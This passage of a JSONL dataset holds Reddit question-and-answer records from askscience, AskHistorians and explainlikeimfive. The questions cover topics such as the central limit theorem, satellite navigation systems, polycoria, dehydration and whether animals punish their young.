the time, then you got problems. \n\nThe other side to that is diet. Reducing sodium intake, sodas, smoking, drinking, keep your arteries from hardening, reduce excess water in your blood and edema, swelling, etc. Sodium can be bad because it causes your body to retain water and this water ends up in your blood stream, making the volume of blood your heart has to pump higher than it should be which also raises your blood pressure. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "855d01", "title": "Sean's Bar in Ireland was recognized as the oldest still operating pub in Europe dating back to 900 A.D. What kind of records would a business like this have kept during that time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/855d01/seans_bar_in_ireland_was_recognized_as_the_oldest/", "answers": {"a_id": ["dvw1xgu", "dvw25r9"], "score": [25, 6], "text": ["What is the original 900 AD name? ", "Not an answer but a follow up question in two parts. I like the question since I use increasingly complex record keeping as an example of how society evolves in one of my lectures on a different topic.\n\n1. Are there any major milestones in business record keeping from 900 A.D. up to modern time and what brought them?\n\n2. My guess would be that the driving force from authorities for record keeping is to be able to know how much to tax people and businesses. Is that so and/or are there other driving forces behind business record keeping that have grown over time? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1iwl3v", "title": "Why does the central limit theorem work?", "selftext": "I asked a teacher, and his answer could almost be rephrased as \"it is a general property of the universe\". ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1iwl3v/why_does_the_central_limit_theorem_work/", "answers": {"a_id": ["ccrpjx6", "cb8rybv", "cb8w2jb"], "score": [2, 7, 12], "text": ["That is a horrible answer - never settle for just because.\n\n1) ELI5 simple: The reason is that you are makes a switch of what you are measuring. Suppose you knew the height of every squirrel in the country. And suppose a bunch are really tall and a bunch are really short. You would have graph (distribution) that looks like to 2 bumps. And if you picked 100 at random and graphed those 100 individuals you would also have a graph with 2 bumps (although not a smooth and pretty because instead of all 3 million squirrels you are just graphing 100.\n\nNow, the central limit theorem work wen we talk about averages of many samples not the individuals in the sample. See the little trick? We are now talking about something different - no longer squirrel heights, but the average height of a group of squirrels. Not 1 by 1 squirrels, but 1 by 1 averages of let say 100 groups of 20 squirrels. Now if you were to take the individuals in that 100 groups of 20 (2000 squirrels) and graph those 2000 you would still get your graph with 2 bumps. The magic of looking normally distributed only works if you plot the 100 averages you get from averaging the first 20, plot that group average, average the next 20, plat that group average.... till you have a bar chart with 100 number. What is going on is that it is really hard to get a \"weird average\" vs to get a \"weird individual\". That difficulty in getting a weird average is what pulls the plot into a nice tight bell curve. It is pretty easy to find 1 person with webbed toes in an apartment building. It is very hard to find an apartment building where everyone has webbed toes on average.\n\n2) ELI5 - more complicated. So why does this work no matter the original distribution of individuals and why the normal distribution and not uniform or poisson? For that you need to know that every statistical distribution has something called a \"characteristic function\". You can think of that like it's unique DNA. Want to prove that an elephant is an elephant? Well does it have elephant DNA - then it is an elephant. When you take the average of anything the characteristic function of the averages starts to look more and more like the characteristic function of the normal distribution. And because of the properties of series of terms it in theory actually because equal to the characteristic function the normal distribution. Just like Jeff Goldbloom - closer and closer to a fly eventually == a fly.\n", "I'm not an expert by any means, but I'm about 99% sure the answer at least partially relates to the effect of convolution of two data sets.  \n\n_URL_0_  \n\nYou can take a perfect, idealized data set of non-Gaussian distributed data points and convolute that set with itself and produce a distribution that begins to look very close to a Gaussian curve.  For example, a perfect square wave when convoluted with another perfect square wave will produce a triangular wave.  If repeated, the curve is clearly Gaussian in shape (and hence follows / proves the central limit theorem).  \n\nAnother way to think of it, is to consider that distribution of outcomes for a statistical event.  For example, the sum of two rolls of a six sided die (like craps).  There are 11 possible results based on 36 possible combinations.  If we arrange the number of combinations to each corresponding result, we get a crude bell curve (gaussian distribution).  The reason is simple, the distribution of combinations that lead to each result is not equal, it is in fact heavily skewed towards the sum of the average of each data set.  If we were to add in a third die, the curve becomes even more bell shaped.\n\n", "It works because the math works out (which is similar, although philosophically pretty different, to your teacher's answer).\n\nIt may help to think of the central limit theorem not as a property of every type of random variable, but as a property (in fact, the motivation for) the normal distribution.\n\nCompare it to the Poission distribution.  It's not a coincidence that a Poisson distribution looks like a bunch of low-success-rate binomial distributions added together, because that's the motivation for the Poisson distribution.\n\nSimilarly, it's not coincidence that the mean of a bunch of iid random variables looks like a normal distribution, since that's precisely why the normal distribution is interesting.\n\nIt's still a bit surprising that this works for *any* collection of iid variables, but it's not really that surprising, because adding n and then dividing by n for large n tends to smooth out any weird distribution those variables may have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Convolution"], []]}
{"q_id": "4gu6ex", "title": "difference between gps, glonass, galileo and other navigation systems", "selftext": "With India's successful launch of its last satellite for IRNSS, why is there a need for so many navigational systems and how as a user, can you switch between them? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gu6ex/eli5_difference_between_gps_glonass_galileo_and/", "answers": {"a_id": ["d2kpcxy", "d2kprqp", "d2ktsif"], "score": [6, 6, 14], "text": ["They're really just different systems used by different regions. GPS is American, GLONASS is Russian, and Galileo is European. All 3 have 2 sides to them. They have the public side that you and I can use to get around and they have the private side that governments use for all of their various needs like reconnaissance/spying and weapon guidance. It's not like we would give the Russians access to our private side so they needed to make a private side of their own. Then Europe needed one. India believed they needed one as well so here we are.", "At first, there was only GPS, which is American-run and American-controlled. That means that there was the possibility of America shutting off access to other countries. Russia and the EU didn't want to take that risk and so they developed GLONASS and Galileo, respectively. Now India is doing the same thing with IRNSS.", "These systems are so useful, that many governments don't want to be restricted to something that is controlled by a foreign government.\n\nFor example, GPS is a military system run by the US Navy. They could, if they wanted to, shut it off or degrade it. The Russians weren't happy with relying on a US military system, given that there is a lot of disagreement between Russia and America, so they built their own (GLONASS).\n\nIn Europe, the EU government were concerned that they were relying on a foreign military system for a lot of commercial and government work. They were also annoyed that GPS only made a crude signal available for the public and law enforcement, but the military got a much higher precision signal.\n\nSo, the EU government decided to build their own system (Galileo) which would give an improved accuracy free public signal, and a premium signal (with paid subscription) which would give the same accuracy as the GPS military signal. It would also be optimized for use in Europe. GPS satellites don't really orbit over the Arctic region, so GPS reception in places like North Norway or Northern Sweden is not very reliable. The Galileo satellites are intended to go into orbits which go much further North, but the disadvantage is that you need more satellites to cover the increased amount of land.\n\nSame sort of thing with IRNSS (India) and BeiDou (China). \n\nIn general, all these systems you broadly the same technology but on slightly different frequencies. This means your receiver needs to have an antenna and circuits capable of receiving all the different systems. Dual system GPS/GLONASS receivers have been available for a while - they weren't terribly popular initially because the GLONASS system has been very unreliable with satellites dying or malfunctioning and not being replaced.  However, the Russians have repaired and updated their GLONASS satellites, and it's now a good quality modern system, so most latest generation GPS receivers do actually receive the GLONASS signal as well.\n\nOne of the advantages of a receiver which supports both systems is that it is possible to get a more accurate position because you can combine the measurements from both systems when the receiver does the final position calculation. \n\nThe Galileo system isn't complete, in fact, it isn't really functional, as it doesn't have enough satellites to work 24/7. However, many new GPS receivers are \"Galileo ready\" which means that they have the antenna and circuits in place, but the firmware to process the signals hasn't been finalized. Once enough satellites are up and working, the manufacturer of the receiver will be able to test their firmware, and then once tested and working will be make it available for download."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9vm7a6", "title": "why do giant american corporations like ford and starbucks have such a hard time in china? what are the differences between the two countries' markets, populations, etc causing this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vm7a6/eli5_why_do_giant_american_corporations_like_ford/", "answers": {"a_id": ["e9dam0c", "e9dc964", "e9djrlc", "e9dp1c8", "e9du3qp", "e9du47l", "e9dvkq5", "e9epdsy"], "score": [143, 21, 26, 123, 3, 6, 4, 2], "text": ["The Chinese government is a strong advocate for local ownership of companies.  Ford and Starbucks, and anybody else for that matter, have to make a teaming arrangement with a local company.  These local companies expect to be able to make 50% of the decisions without contributing 50% of the capital.  The result is a board/management arrangement where you either have half of the people not have much real experience or twice as many people in charge.", "There is a massive cultural difference between China and the US. Products designed to appeal to the US market might completely flop in China.\n\nStarbucks\u2019 menu, store equipment and supply chain is optimised to produce \u201caffordable\u201d coffee. But Chinese people don\u2019t drink much coffee, what\u2019s \u201caffordable\u201d in the US is still expensive in China, and Starbucks\u2019 other items like cakes/desserts are also not popular.\n\nStarbucks tried to adjust to the China market by including teas in their menu, and even bought Teavana and converted some stalls to tea outlets. But the tea market was far too oversaturated in China for them to enter and they basically left after a few years. You can easily find a dozen tea/bubble tea chains in the same street, all of which have lower prices and more options.\n\n\nFord is a similar story. There are so many car brands competing in the Chinese market that they have been squeezed out. Within China, Ford\u2019s cars have no differentiating factor like reputation, brand image or customer service. They are forced to compete on specs and price, which is tough when Japan and Korea are right next door pumping out cars nonstop.\n\nGeneral Motors has managed to succeed in China, showing that it is possible for an American company to break into the Chinese market. But they have had a Long time to build up their customer loyalty and differentiate themselves from the competition.", "The main difference is simply market access. The Chinese economy is effectively a closed economy, with foreign companies either outright barred or severely restricted from operating in many industries. In the industries in which foreign companies are allowed to operate, they often must do so in a joint-venture with a Chinese partner, where the foreign company is restricted to owning 50% or less of the Chinese entity (the automotive industry is a good example). \n\nAdditionally, for many industries, foreign companies are required to invest both capital and transfer technology to Chinese competitors to receive their business license, in essence funding their own competition. \n\nFinally, and most importantly, there is no separation between the Chinese state and Chinese economy. Many of the largest Chinese companies are State-Owned Enterprises, and the large independents are defacto wings of the government; with many provincial and city governments being major investors or board members outright. This means that a foreign company is not competing against true independent actors, but the government itself. \n\nThis creates enormous moral hazards, and results in arbitrary law enforcement, lack of IP protection for foreign companies, selective enforcement of business regulations etc ", "China invited Uber in, studied it's model, copied it with a China company, Raided Uber offices and kicked Uber out.  This is the model China uses. ", "Even before getting into some of the larger state-economy issues a few general things would be:\n\n & #x200B;\n\n1- Even minor cultural difference effect the likelihood of success, take Canada, US business that move into Canada often fail, despite the assumed similarity between the countries as even small differences in spending habits make all the difference.\n\n2- China is only recently becoming a middle class nation and as a result things like large amounts of spare cash and spare time are still not the most rampant. Chinese save more then anyone else, have absurdly high property costs and though improving the bulk of the population still earns lower values often with absurd work hours (60+ is normal). They have such a huge population which means the rich part of the population is also quite large even if smaller in percentage which often gives the impression of greater average wealth. Even local coffee shops, though expanding, still struggle as it's just too much of a \"luxury good\".\n\n3- Although they've been doing a bit more in recent years to tackle it, China has always had a huge problem with not enforcing foreign contracts and otherwise failing to effectively support foreign business. If a Chinese partner decides to reneg on a contract there may be little recourse against them for example. Add on top of that all the other restrictions on foreign buisness investments....\n\n & #x200B;", "Western companies typically play by certain rules and in a relatively free market economy. Chinese companies play by Chinese rules (in which stealing other peoples stuff is \"clever\" instead of \"unethical\") and the Chinese government forces foreign companies to partner with Chinese companies and neither the Chinese companies nor the Chinese government have any interest in having the foreign company succeed.\n  \nThis is not a judgement on Chinese culture, but rather an attempt to point out a significant cultural difference. Western rules of \"fair play\" are no better or worse than Chinese value of \"cleverness\", just different.", "China doesn't really play fair.\n\nThey don't worry about copyright, trademarks etc. They want 50% of all business where it is a foreign company investing. They will copy your ideas and kick you out etc.\n\nIn short it is a hostile business environment. To be fair though this isn't really something that can be covered by ELI5\n\nEdit - see u/zn88 comment below as well", "There are a lot of stupid ass opinions here from folks that likely never lived in China.\n\nFord doesn\u2019t do as well because they haven\u2019t updated their lineup in years. Audi and VW do great in China. Foreign cars in general sell well in China.\n\nStarbucks does great in China but recently got ambushed by a competitor called Luckin Coffee that offers the same product for half the price and delivers it. Starbucks refuses to do delivery coffee because they felt it debased their brand and left the door open for Luckin, who got hundred of millions of dollars and simultaneously opened thousand of stores. The Luckin Coffee near my office is always busy. Starbucks still doing well, but not dominating like before.\n\nSo in short the reason they don\u2019t do well is intense competition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "f5tuhk", "title": "is a flock of geese a type of goose social structure or a unit of convenience to optimize aerodynamics? can geese join any flock? if they get separated do they transfer to a new flock or does their old one return to find them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f5tuhk/eli5_is_a_flock_of_geese_a_type_of_goose_social/", "answers": {"a_id": ["fi27xll", "fi2kr6y"], "score": [6, 3], "text": ["When geese fly in a V formation, they are indeed maximizing their aerodynamic efficiency. Every flap of a bird's wings leaves behind a *tip vortex* \\-- a small region of whirling air, containing energy that went to waste in the lift-generating process. If another bird gets in the right position, he can extract some of that energy and reduce the work he has to do.\n\nEvery bird in the formation benefits from this except the leader -- so the strongest birds in the flock rotate in and out of the lead position.", "This question is more likely to be answered thoroughly and accurately on /r/askscience, I'd try posting it over there!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3ndk2n", "title": "what is the difference between /r/ama and /r/iama?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ndk2n/eli5_what_is_the_difference_between_rama_and_riama/", "answers": {"a_id": ["cvn1sge"], "score": [2], "text": ["From /r/AMA sidebar:\n\n > Note the existence of two similar subreddits: /r/AMA and /r/IAmA. The main difference is that we have about 50x less the subscribers.\n\n > But this isn't necessarily bad! Maybe you want fewer people to read your story, or you have decided that your AMA does not warrant a large audience. In any case, that's fine with us, as long as you make sure you understand the difference before posting.\n\n > If you feel that you posted your story in the wrong place, don't worry. Just delete it and post it in the right place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3r5k08", "title": "why is it that beef is relatively cheap but leather is so expensive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r5k08/eli5_why_is_it_that_beef_is_relatively_cheap_but/", "answers": {"a_id": ["cwl2r3u", "cwl4g7b", "cwl5wwq", "cwl63a5"], "score": [14, 5, 13, 2], "text": ["Leather requires more treatment and preparation, even more so when made into a garment of some sort. And cow skin is more likely to be damaged than meat during the course of the cow's life, due to fences, predators, fighting etc. ", "Not sure where you live, but beef is heavily subsidized by the US government. Without those subsidies in place, beef would be much more expensive to purchase than it is.", "A single large cow weighing about 2400 pounds will give you about 1000 pounds of meats. Beef goes for different prices per cut, but a starting point is ground beef, going for almost $4 a pound. That makes a cow worth at least $4000 of meat.\n\nOne cow can give one hide. A hide is processed, steps of which are scraping the fat and hair off of it and soaking it in chemicals. It takes time and manpower. One hide can sell for about $350-400.\n\nNow, the meat will only get eaten. The price of prepared beef can vary quite a bit depending on which part of the cow and who cooks it. But hide can be turned into a variety of useful things, some of which can last more than a lifetime. Motorcycle riders wear it because it's quite tough and better than any cloth for protecting against most riding hazards. A rifle sheath, when made with care and maintained, can protect a rifle long enough that your grandchildren can be using it long after you're dead.\n\nSo the answer is that leather is not that expensive, and beef is not really that cheap. Pork generally sells at half, and turkey sells for almost a quarter the price. But all meat is temporary and must be renewed year after year. Cowhide is better than diamonds.", "Let alone all of the different treatments and processes for making good leather, it's just a Volume vs. Surface Area situation. You get way less skin than meat obviously."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1cz1pq", "title": "How would vision be affected in a person with polycoria (multiple pupils)?", "selftext": "While doing some creative writing I looked up the wikipedia article on the iris, and found that there is a condition called *polycoria* in which the iris has multiple pupils. I image-searched it and found a number of interesting photos, such as _URL_0_. I assume the iris would no longer be able to expand and contract correctly, making it hard to achieve low-light and high-light vision. But how would vision itself be affected by multiple pupils (assuming you shut the other eye and only looked through the affected one)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cz1pq/how_would_vision_be_affected_in_a_person_with/", "answers": {"a_id": ["c9lcvj6", "c9ldu5b", "c9ldyml", "c9le5xf", "c9lejrc", "c9lerrs", "c9lj9vs", "c9lkw8l", "c9lm7li", "c9lpnar"], "score": [7, 4, 108, 9, 4, 7, 5, 3, 6, 2], "text": ["This is not the answer but some information that i feel may be of importance. I found out through google people with polycoria have a \"main pupil\". Also most of the time the main pupil is larger than the other pupils.", "That's a lot of aberrant light coming in at different angles.  This would cause a lot of diffraction issues, and the person would likely have decreased VA (visual acuity).  For someone this bad, they probably have a contact lens that masks all but the center of the main pupil.\n", "I havn't learned exactly about this but I think i'm moderately qualified to speculate as a 4th year optometry student. There will still be one fovea which will receive the clearest image. The pupil is lined up in order to give the fovea the most light.  Other regions besides the fovea/macula receive light as well in this situation but not as much. \n\nSince there's a whole lot more light with polycoria, I would imagine there would be a similar effect to being dilated (photosensitivity).  Since there may be light entering at oblique angles, the brain may be more prone to seeing the vessels on your retina (see Purkinje tree). \n\ntldr; I would imagine things would be moderately the same except with more glare problems and possibly seeing retinal vessels more often\n\nedit: also since the exact photo you linked had the actual pupil displaced, the effect would probably be an overall decrease in VA since light rays hitting the macula would be more oblique and the retina will ignore those rays (see Stiles\u2013Crawford effect). ", "You can play around with the mechanical effects with a camera.  Due to our circular-shaped pupil, things that are out of focus create a roughly circular blur.  With other shapes, you'll get differently shaped blur.  You may notice that specular highlights (bright spots) in movies when out-of-focus may have 4, 5, 6, 7, or 8 sides... -- that's due to a mechanical aperture with 4-8 sides inside the camera.  If the lens is wide open, the blur is again circular.\n\nNow, you can cut out a shape (hearts and stars are popular) from thick construction paper and put it over the front of a lens, and now the out-of-focus bits will have heart or star shaped blur.  \n\nNow, you can also cut two different circles out of paper and look then... You end up with two separate blurry patches, and the two patches will converge as the image is brought into focus, and spread apart when they're out of focus.  People use this to help bring telescopes into focus -- it's called a hartmann mask.\n\nNow, how much much the whole eye-brain system copes with this and makes it invisible to the person, I really don't know.", "Obstructions to the light path in an optical system like your eye or a camera won't have much of an affect on anything that's in focus.  Out of focus bright spots will look like the shape of the iris instead of being round disks.  You'll also lose some acuity and have glare issues.\n\nConsider a [project like this](_URL_0_) where you can modify a camera lens to get shaped bokeh.\n\nThis is the same principle by which you can stop down an aperture ring to affect the depth of field and overall brightness, but it won't affect the way in-focus images appear.  You can also significantly damage the front element of a lens with only slight changes to image quality.", "Polycoria is known to cause monocular diplopia, meaning you get more than one image projected onto the retina of the eye.  The eye is normally arranged so that light passing through the center of the pupil is focused on the fovea, the most sensitive (detail-wise) part of the retina. Part of the iris' job is to block the light that is coming into the eye from more peripheral parts of the cornea.  Additional \"pupils\" project more images on the retina, but outside of the fovea, giving the appearance of more than one image.  Plus, that's one sick eye in that picture. I see a corneal transplant and what appears to be a glaucoma surgery bleb under the edge of the upper lid. \ntl;dr More pupils = more images / monocular diplopia", "Article (_URL_0_)\n\nThe severity of visual deficits in polycoria depends on the pupil size and presence of lazy eye and development of glaucoma, and ranges from none to severe, causing blindness. \n\nTrue polycoria is when the extra pupils constrict and dilate in unison with the primary pupil and each pupil has its own constrictor and dilator muscle. In pseudo-polycoria, the extra pupils simply move passively when the primary pupil constricts, but remain small when the primary pupil dilates. \n\nMost people with this condition have miosis (constricted/small pupils), which may impair vision. Visual acuity worsens linearly as pupil size falls below 1.5 mm (the smaller the pupil, the worse the vision). Miosis, even without polycoria, puts people at risk for lazy eye (amblyopia). People with polycoria may complain of glare or 'dazzled' vision in the affected eye and normal vision in the other eye. The pathogenesis of the condition is not clear, but since it is an embryological defect, it seems to often occur alongside many other ocular defects, which increases the risk of the person having poor vision. \n\n", "As a photographer, I can tell you the shape of the pupil (aperture opening) doesn't really affect WHAT you see. It could however affect your eyesight in low light settings, where you are more likely to have bright light sources, giving your a different eyesight than a \"normal\" person would have.\nSo like many people already have said in this thread there shouldn't be much of a problem really.\n\nYou can easily compare this to all the different custom aperture shapes you can buy / make yourself for your camera. \nExample: _URL_1_\n\nThe resulting photo using one of these customs shaped apertures in a well light setting would be identical to having a circular aperture opening. But, using it in a low light setting.... that's a different story :-)\n\nHere is one with a [heart shaped aperture opening](_URL_0_)\n", "Monocular diplopia, or polyopia, is the expected symptom from this disorder. \n\nI'm surprised this isn't in the top comments, I've seen several patients with this problem, and there's no doubt it's the correct answer, so I expect to be downvoted to oblivion.\n\n", "Picture the classic Hollywood soft focus photograph. That was taken with a rather unusual lens. It had only two elements (glass bits), so off-centre focus was not very good. There was a small centre aperture which restored a sharp focus for the main image, but this was surrounded by a ring of smaller holes which were slightly out of focus. This gave the \"glow\" around the subject. This should be what the person sees: reasonable focus if there is an on-centre pupil, and anything off-centre will contribute to a blur which appears as a glow if the subject is lit against a dark ground."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/rurKLLJ"], "answers_urls": [[], [], [], [], ["http://www.diyphotography.net/diy_create_your_own_bokeh"], [], ["http://onlinelibrary.wiley.com/store/10.1111/j.1600-0420.2007.00985.x/asset/j.1600-0420.2007.00985.x.pdf?v=1&amp;t=hfw3wfzk&amp;s=36a8fc80b72b3bef3030e73412090ad7d47536ea"], ["http://3.bp.blogspot.com/_XCJ62cJhAPU/ScQIiADwW7I/AAAAAAAAAv4/00Nel1j9I7w/s1600/3207383214_e893f4aea1.jpg", "http://www.bokehmasterskit.com/wp/wp-content/uploads/2009/12/bmk_advanced_kit.jpg"], [], []]}
{"q_id": "5llink", "title": "If breaking a chemical bond requires energy why is enthalpy of atomization a positive value?", "selftext": "I understand that when a bond forms energy is released so wouldn't breaking one consume energy from its environment? How can splitting them also give energy? Besides, if we can have it both ways we would be able to get it for free!!(yay?)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5llink/if_breaking_a_chemical_bond_requires_energy_why/", "answers": {"a_id": ["dbwpl0x"], "score": [2], "text": ["I think you're just confused about the signs. A positive change in enthalpy means that you need to put energy in your system to facilitate whatever process you're looking at. That's why such processes are defined as endothermic. A negative value means that energy is released by the process, i.e. they are exothermic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cac2hh", "title": "If you are dehydrated, what part of your body will you start to deteriorate first?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cac2hh/if_you_are_dehydrated_what_part_of_your_body_will/", "answers": {"a_id": ["et7r8px"], "score": [15], "text": ["Adrenal gland and kidneys will produce hormones to maintain adequate blood volume so that vital organs will be kept well-perfused. With severe dehydration though, there's only so much this compensatory mechanism can hold off. Without adequate perfusion, kidneys will typically fail first. Eventually, there's so little volume that the heart cannot pump and everything else will fail too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wzlz6", "title": "After the Roman Empire officially converted to Christianity, were there any attempts to rewrite earlier Roman history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wzlz6/after_the_roman_empire_officially_converted_to/", "answers": {"a_id": ["cy08tyc"], "score": [14], "text": ["To the best of our knowledge, medieval monks and nuns were, well, religiously scrupulous about making exact copies--right down to replicating obvious errors in their exemplars and sometimes even copying the exemplar's date or scribal colophon (name of the scribe who had made the previous copy), if the manuscript in question had one.\n\nBut while they faithfully preserved classical texts with their basic chronology of events, Christian *original* authors (starting already in the early Church, long before Constantine) cast a Christian sheen over the past and present that brought Roman actions, persons, and literature into a Christianized history and future.\n\nProbably best known is the era of persecutions under pagan Roman emperors seen to start in Acts of the Apostles and continue down to Constantine. While there were periods and localities of danger (our earliest Christian autobiography by a woman, the *Passio Perpetuae*, recounts her experiences leading up to her execution in the gladiatorial arena), these were by no means constant or imperial, as ongoing scholarship continues to show. Even while creating the mythology of an Age of Martyrs, early Christian writers agreed. Eusebius of Caesarea infamously blames the emperor Severus for the persecutions that led to the deaths of Perpetua and Felicitas, but Tertullian of Ridiculously Convoluted Latin credits him with tolerance and even helping protect Christians against the violence of pagans.\n\nBeyond the mythology of a Church incubated in blood, medieval Christian writers worked to Christianize, after a fashion, the Roman leaders and texts that they admired and needed a way to justify that admiration. No, they did not go back and say \"Trajan was Christian.\" However, that emperor was seen as a virtuous hero, and medieval theologians worked to justify his placement in limbo at the *very* least. \n\nSo medieval women visionaries, who were believed to have a direct line of sight to the levels of the afterlife, *always* disambiguate wildly and very cleverly when asked questions about whether Trajan is in heaven or hell. They couldn't say yes...but they couldn't say no. (And yes, visionaries did field questions about him--his defense of Christians was considered a big deal). Dante and Aquinas are unambiguous: they follow the legend that early medieval pope Gregory the Great prayed Trajan's soul back to life for conversion so that he would then go to heaven.\n\nClassical literature also found its way to Christianization. Ovid--batty, sexy, polytheistic Ovid--and his *Metamorphoses* were disseminated as the Ovid moralisee--allegorically interpreted, in the same way the Bible way, for their claimed deeper, *true* moral meaning. (It's impressive.) The Sybilline oracles, too, were recast as predicting the birth of Jesus and occasionally other events in Christian history.\n\nYou might say, in the end, that the preservation of classical texts in and of themselves, and the recasting of their characters and stories as Christian in new texts, were part of the same continuum. Medieval Christianity nurtured a deep respect and love for Greece and Rome, and worked to justify that admiration of a pagan world in an age of Christian faith."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fbi01", "title": "Do any animals punish their children?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fbi01/do_any_animals_punish_their_children/", "answers": {"a_id": ["ck7vznm"], "score": [68], "text": ["The short answer is yes. In my reply I'll start out by quoting a bit from a good book on related topics:\n\n\u201ceven though primate species vary greatly in conciliatory tendency, in all species reconciliation is most common after fights between partners with close social ties even if we control for the increased level of interaction among these individuals [...] not all psychologists and social scientists try to divorce aggressive conflict from other aspects of social life or view it as necessarily destructive and antisocial [...] The conflict resolution perspective [...] shifts attention from aggression as the expression of an internal state to aggression as the product of a conflict of interest. It regards aggressive behavior as the product of social decision making: it is one of several ways in which conflicts between individuals or groups can be resolved. [...] all group-living species [researched so far] show increased post-conflict affiliation between former opponents [...] Whether group life and the consequent inevitable frictions are invariably linked to the evolution of conflict-regulation mechanisms or whether only a fraction of group-living species have evolved post-conflict conciliatory behaviors is a question that awaits further theoretical [...] and empirical studies. [...] The observation of conciliatory behaviors in species that differ widely in their cognitive capacities suggests that reconciliation does not require special abilities such as introspection and self-awareness but that good memory and individual recognition probably suffice\"\n\nAs implied by the quote above, social animals actually have many quite complex interaction patterns/behavioural rules which to some extent resemble those of humans. Not only do parents of other social species punish their offspring, highly sophisticated mechanisms for dealing with how to resolve conflicts of interest are also present in them, so that the offspring can tell when they've crossed a line and are able to reconciliate with their parents again later on, after they've been punished for a behavioural transgression. Note that not all punishment is necessarily violent; a classical example of another approach is to simply ignore the (social input of the) other individual, e.g. in the case of a young who's crying loudly because the mother has started to wean off the young. It turns out that the behaviour of other primates e.g. in the weaning phase is actually quite similar to that of humans:\n\n\u201cTantrums are a common, if not ubiquitous, phenomenon of early childhood. Tantrums also occur in infant and juvenile nonhuman primates [...]. Trivers (1985) proposes that tantrums may be a solution to a basic intergenerational conflict: the young benefit by maintaining parental nurturance as long as possible while parents\u2019 inclusive fitness is eventually better served in other ways. When a juvenile primate has a tantrum following maternal rejection (e.g., while being weaned), its mother usually accepts it [...] A disposition to have tantrums that develop at an age when weaning occurred over most of human history might well reflect an evolutionary strategy to retain parental attention. [...] the majority of post-tantrum reconciliations are initiated by the child. [...] The great similarity between children\u2019s temper tantrums and those of young primates, and the similarity in response by the caregiver (initial distancing but eventual affiliation), suggest a shared developmental underpinning of reconciliation.\u201d\n\nBoth the quoted paragraphs above are from the excellent book Natural Conflict Resolution, by Aureli et al. \n\nSo as mentioned the short answer to your question is yes, there's absolutely no doubt about that. There are other examples in the book, it's not limited to weaning. But not only do parents punish their children; many species of social animals also display behaviours indicating that quite complex related behavioural mechanisms have evolved as well in order to facilitate cooperation between kin and conspecifics, so that e.g. such punishment behaviours are less likely to harm the relationships of the individuals involved than they would have been in the absence of such mechanisms.\n\nI should note that Aureli's book is a really nice book if you're interested to know more about how animals, especially primates, behave and how their behaviours sometimes resemble those of humans.\n\n...\n\nUpdate: Maybe I should clarify as people reading along here are probably completely unfamiliar with this literature. From a brief skim it does not seem that the book ever specifically states that \"adults punish their offspring\" - I actually looked specifically for a statement like that, but the closest I got was the \"similarity in response by the caregiver (initial distancing but eventual affiliation)\"-remark, which clearly indicates to me that parents of other primate species withdraw and ignore their young 'to punish them' and making them stop behaving 'unreasonably'. It is completely obvious and beyond doubt that parents engage in such behavioural strategies, in light of the other observations made in the book. You don't need conflict resolution mechanisms between parents and children if there's no conflict, and the existence of an inherent conflict of interest between parent and offspring obviously does not disappear at the age of weaning - and the sort of behavioural complexity you'll come across when analyzing the behaviours of e.g. primates goes far beyond parents punishing their offspring, for example some macaque species have complicated social rules for which individuals are even allowed to approach each other, enforced by threats or actual violence (though the latter mechanism is much less common as escalation is usually avoided). One way to think about parent-offspring punishment is to think of it in terms of an efficient behavioural feedback mechanism. You need such communication feedback mechanisms to stabilize social interaction. Here's a related interesting quote adding a few more details:\n\n\"From our perspective, we assert that emotions such as empathy and sympathy provide an experiential basis by which children construct moral judgments. Emotional reactions from others, such as distress or crying, provide experiential information that children use to judge whether an act is right or wrong (see Arsenio  &  Lover 1995). For example, when a child hits another child, a crying response provides emotional information about the nature of the act, and this information enables the child, in part, to determine whether and why the transgression is wrong. Therefore, recognizing signs of distress in another person may be a basic requirement of the moral judgment process. The fact that responses to distress in another have been documented both in infancy and in the nonhuman primate literature provides initial support for the idea that these types of moral-like experiences are common to children and nonhuman primates. [...] Much research has shown that children acquire morality through a social-cognitive process; children make connections between acts and consequences. Through a gradual process, children develop concepts of justice, fairness, and equality, and they apply these concepts to concrete everyday situations (Killen  &  Hart 1995).\"\n\nChimps have ideas about fairness as well - see e.g. this: _URL_0_. They're probably in some respects a lot more like us than many people think they are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.livescience.com/26245-chimps-value-fairness.html"]]}
